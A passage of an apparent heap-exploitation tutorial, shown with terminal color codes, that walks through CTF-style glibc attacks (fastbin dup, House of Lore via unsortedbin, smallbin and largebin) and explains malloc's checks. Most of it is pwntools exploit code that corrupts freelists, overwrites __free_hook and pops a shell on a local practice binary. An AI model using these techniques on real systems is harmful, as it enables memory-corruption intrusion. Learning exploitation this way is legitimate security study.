[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"size: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37msize[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"chunk name: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mname[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mfree[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"puts() @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputs[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"heap @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mheap[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"Enter your age: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[36m0[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"Enter your username: "[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"Fred"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0.5[0m[1m[37m[0m
[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"A"[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"a"[0m[1m[36m*[0m[1m[36m0x8[0m[1m[37m)[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"B"[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"b"[0m[1m[36m*[0m[1m[36m0x8[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk A] -> NULL[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m1[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk B] -> [chunk A] -> NULL[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x30[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"C"[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"c"[0m[1m[36m*[0m[1m[36m0x8[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mheap[0m[1m[36m+[0m[1m[36m0x10[0m[1m[37m))[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m2[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk A] -> [chunk B] -> [chunk A] -> NULL[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m__free_hook[0m[1m[36m-[0m[1m[36m8[0m[1m[37m),[0m[1m[37m [0m[33mb[0m[33m"d"[0m[1m[36m*[0m[1m[36m0x8[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk B] -> [chunk A] -> &__free_hook-8[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"E"[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"e"[0m[1m[36m*[0m[1m[36m0x8[0m[1m[37m)[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"F"[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"f"[0m[1m[36m*[0m[1m[36m0x8[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: &__free_hook-8[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[37mnext[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msearch[0m[1m[37m([0m[33mb[0m[33m"/bin/sh[0m[33m\x00[0m[33m"[0m[1m[37m))),[0m[1m[37m [0m[33mb[0m[33m"g"[0m[1m[36m*[0m[1m[36m0x8[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m6[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendline[0m[1m[37m([0m[33mb[0m[33m"id"[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
[1m[37mb'malloc(): memory corruption (fast)\n'[0m
== [1m[4mHouse of Lore[22m[24m
This is a rather broad type of attack that involves tampering with
heap metadata to link fake chunks into the different freelists
(unsortedbins, smallbins, largebins) that malloc keeps track of.
A fake chunk can then be used to service a request, usually leading
to a leak or a write primitive.
=== [1m[4mSolve[22m[24m
The challenge binary has a very straightforward UAF write bug which
we can use to easily overwrite freelist pointers; the only trick is
not failing malloc's corruption checks.
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"house_of_lore"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mmalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"size: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37msize[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mfree[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37medit[0m[1m[37m([0m[1m[37mindex[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"3"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mfree[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0.5[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"puts() @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputs[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"heap @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mheap[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m[0m
==== [1m[4mUnsortedbins[22m[24m
This proceeds similarly to the unsortedbin attack; allocate one
chunk and an extra padding chunk to prevent consolidation with the
top chunk, free the first chunk, and edit that chunks'
[40m[35m`bk`[39m[49m pointer to insert a fake chunk in the
unsortedbin.
The size of the first [40m[35m`malloc`[39m[49med chunk should
be smaller than the size of the fake chunk so that
[40m[35m`malloc`[39m[49m will skip the tail of the unsortedbin
(the first chunk) and service the request with the fake chunk
instead.
I'm sure there's a way to pop a shell in this binary, but for the
time being I'm going to take the easy way out and just focus on
overwriting the target memory.
[1m[36m<<[0m[1m[37mlore[0m[1m[36m-[0m[1m[37msetup[0m[1m[36m>>[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"Enter your username: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0xa0[0m[1m[37m [0m[1m[36m|[0m[1m[37m [0m[1m[36m0b1[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0xdeadbeefdeadbeef[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37muser[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[36m0x10[0m[1m[37m))[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk A[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk B[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m[0m
[33m# unsortedbin: [chunk A] -> NULL[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0xdeadbeefdeadbeef[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37muser[0m[1m[37m))[0m[1m[37m[0m
[33m# unsortedbin: [fake chunk] <- [chunk A] -> 0xdeadbeefdeadbeef[0m[1m[37m[0m
[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0xa0[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[36m2[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"A"[0m[1m[36m*[0m[1m[37m([0m[1m[36m48[0m[1m[36m-[0m[1m[36m0x10[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"pwned[0m[33m\x00[0m[33m"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"4"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"target: "[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
==== [1m[4mSmallbins[22m[24m
When [40m[35m`malloc`[39m[49m traverses the unsortedbin to
service a request, it is simultaneously sorting the chunks it can't
use into the small and large bins (depending on their size).
So the strategy is the same as with linking into the unsortedbin,
but there's an additional check in the codepath that handles
smallbins:
[1m[37m [0m[1m[37midx[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37msmallbin_index[0m[1m[37m [0m[1m[37m([0m[1m[37mnb[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[37mbin[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mbin_at[0m[1m[37m [0m[1m[37m([0m[1m[37mav[0m[1m[37m,[0m[1m[37m [0m[1m[37midx[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37m(([0m[1m[37mvictim[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mlast[0m[1m[37m [0m[1m[37m([0m[1m[37mbin[0m[1m[37m))[0m[1m[37m [0m[1m[36m!=[0m[1m[37m [0m[1m[37mbin[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37m([0m[1m[37mvictim[0m[1m[37m [0m[1m[36m==[0m[1m[37m [0m[1m[36m0[0m[1m[37m)[0m[1m[37m [0m[33m/* initialization check */[0m[1m[37m[0m
[1m[37m [0m[37mmalloc_consolidate[0m[1m[37m [0m[1m[37m([0m[1m[37mav[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33melse[0m[1m[37m[0m
[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mbck[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mvictim[0m[1m[36m->[0m[1m[37mbk[0m[1m[37m;[0m[1m[37m[0m
[33mif[0m[1m[37m [0m[1m[37m([0m[37m__glibc_unlikely[0m[1m[37m [0m[1m[37m([0m[1m[37mbck[0m[1m[36m->[0m[1m[37mfd[0m[1m[37m [0m[1m[36m!=[0m[1m[37m [0m[1m[37mvictim[0m[1m[37m))[0m[1m[37m[0m
[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37merrstr[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m"malloc(): smallbin double linked list corrupted"[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mgoto[0m[1m[37m [0m[1m[37merrout[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m[0m
So there's no size check, but the fake chunk's
[40m[35m`bk`[39m[49m pointer needs to point to a chunk whose
[40m[35m`fd`[39m[49m pointer points back to the fake chunk
(whew).
I chose to create another fake chunk on the heap for this purpose,
but there's no PIE so we could just as easily put a new fake chunk
right next to the original fake chunk.[^fn:3]
[1m[36m<<[0m[1m[37mlore[0m[1m[36m-[0m[1m[37msetup[0m[1m[36m>>[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"Enter your username: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0x90[0m[1m[37m [0m[1m[36m|[0m[1m[37m [0m[1m[36m0b1[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mheap[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mheap[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[36m0x90[0m[1m[37m))[0m[1m[36m<<[0m[1m[37mfootnote[0m[1m[37m([0m[1m[36m3[0m[1m[37m)[0m[1m[36m>>[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk A[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk B[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0xa0[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk C[0m[1m[37m[0m
[33m# 0x90 smallbin: [chunk A] -> NULL[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0xdeadbeefdeadbeef[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37muser[0m[1m[37m))[0m[1m[37m[0m
[33m# 0x90 smallbin: [fake chunk] <- [chunk A] -> 0xdeadbeefdeadbeef[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[36m1[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37muser[0m[1m[37m))[0m[1m[37m[0m
[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[36m4[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"A"[0m[1m[36m*[0m[1m[37m([0m[1m[36m48[0m[1m[36m-[0m[1m[36m0x10[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"pwned[0m[33m\x00[0m[33m"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"4"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"target: "[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
==== [1m[4mLargebins[22m[24m
Free chunks that don't fit in a fastbin or smallbin are sorted into
a largebin (ignoring the tcache).
Each largebin actually covers a range of bins, with larger bins
covering progressively larger ranges; in addition to the linked
list of chunks (of all sizes that largebin covers), each largebin
has another linked list which links at most one chunk of each size
that bin covers.
I like to think of each largebin as having an "inner" (skip list)
and "outer" (regular) linked list, like this:
(IMG)
Actually linking in a fake chunk is straightforward; the only
hiccup is that the chunk we're tampering with can't be the last
chunk in that bin, otherwise we'll never follow one of that chunk's
corrupted pointers:
[33m/* Avoid removing the first entry for a size so that the skip[0m
[33m list does not have to be rerouted. */[0m[1m[37m[0m
[33mif[0m[1m[37m [0m[1m[37m([0m[1m[37mvictim[0m[1m[37m [0m[1m[36m!=[0m[1m[37m [0m[37mlast[0m[1m[37m [0m[1m[37m([0m[1m[37mbin[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[36m&&[0m[1m[37m [0m[37mchunksize_nomask[0m[1m[37m [0m[1m[37m([0m[1m[37mvictim[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[36m==[0m[1m[37m [0m[37mchunksize_nomask[0m[1m[37m [0m[1m[37m([0m[1m[37mvictim[0m[1m[36m->[0m[1m[37mfd[0m[1m[37m))[0m[1m[37m[0m
[1m[37m [0m[1m[37mvictim[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mvictim[0m[1m[36m->[0m[1m[37mfd[0m[1m[37m;[0m[1m[37m[0m
So we need to link in another real chunk with size less than or
equal to the size of the first real chunk.
[1m[36m<<[0m[1m[37mlore[0m[1m[36m-[0m[1m[37msetup[0m[1m[36m>>[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"Enter your username: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0x410[0m[1m[37m [0m[1m[36m|[0m[1m[37m [0m[1m[36m0b1[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37muser[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37muser[0m[1m[37m))[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x410[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk A[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x400[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk B[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m2[0m[1m[37m)[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x420[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x400 largebin: [chunk A] <=> [chunk B][0m[1m[37m[0m
